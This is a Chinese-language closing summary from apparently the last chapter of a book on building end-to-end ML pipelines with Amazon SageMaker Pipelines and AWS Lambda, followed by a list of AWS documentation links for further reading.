在本章中,我们使用SageMaker 管道构建端到端的自动化机器学习管道。我们首先准备了一个相对简单的管道,包括三个步骤——包括数据准备步骤、模型训练步骤和模型注册步骤。在准备和定义管道之后,我们继续触发管道执行,在管道执行完成后将新训练的模型注册到SageMaker 模型注册表。
然后,我们准备了三个 AWS Lambda 函数,这些函数将被用于第二个机器学习管道的模型部署步骤。在准备 Lambda 函数之后,我们通过添加一些额外的步骤来部署模型到新的或现有的机器学习推理端点,从而完成了端到端的机器学习管道。最后,我们讨论了使用本章中使用的技术堆栈来确保、扩展和管理机器学习管道的相关最佳实践和策略。
你终于完成了这本书的最后一章!恭喜你完成了包括本书中讨论的动手示例和解决方案在内的所有章节。从开始到结束,这是一段令人惊叹的旅程,如果你能与他人分享这段旅程,那就太好了。
进一步阅读
在这一点上,你可能想通过查看前几章“进一步阅读”部分列出的参考文献来深入了解相关子主题。除了这些,你还可以查看以下资源:
-
Amazon SageMaker 模型构建管道 – 管道步骤 (
docs.aws.amazon.com/sagemaker/latest/dg/build-and-manage-steps.xhtml
) -
Boto3 – SageMaker 客户端 (
boto3.amazonaws.com/v1/documentation/api/latest/reference/services/sagemaker.xhtml
) -
Amazon SageMaker – AutoGluon-Tabular 算法 (
docs.aws.amazon.com/sagemaker/latest/dg/autogluon-tabular.xhtml
) -
使用 SageMaker Projects 自动化 MLOps (
docs.aws.amazon.com/sagemaker/latest/dg/sagemaker-projects.xhtml
) -
机器学习节省计划 (
aws.amazon.com/savingsplans/ml-pricing/
) -
SageMaker – Amazon EventBridge Integration (
docs.aws.amazon.com/sagemaker/latest/dg/pipeline-eventbridge.xhtml
)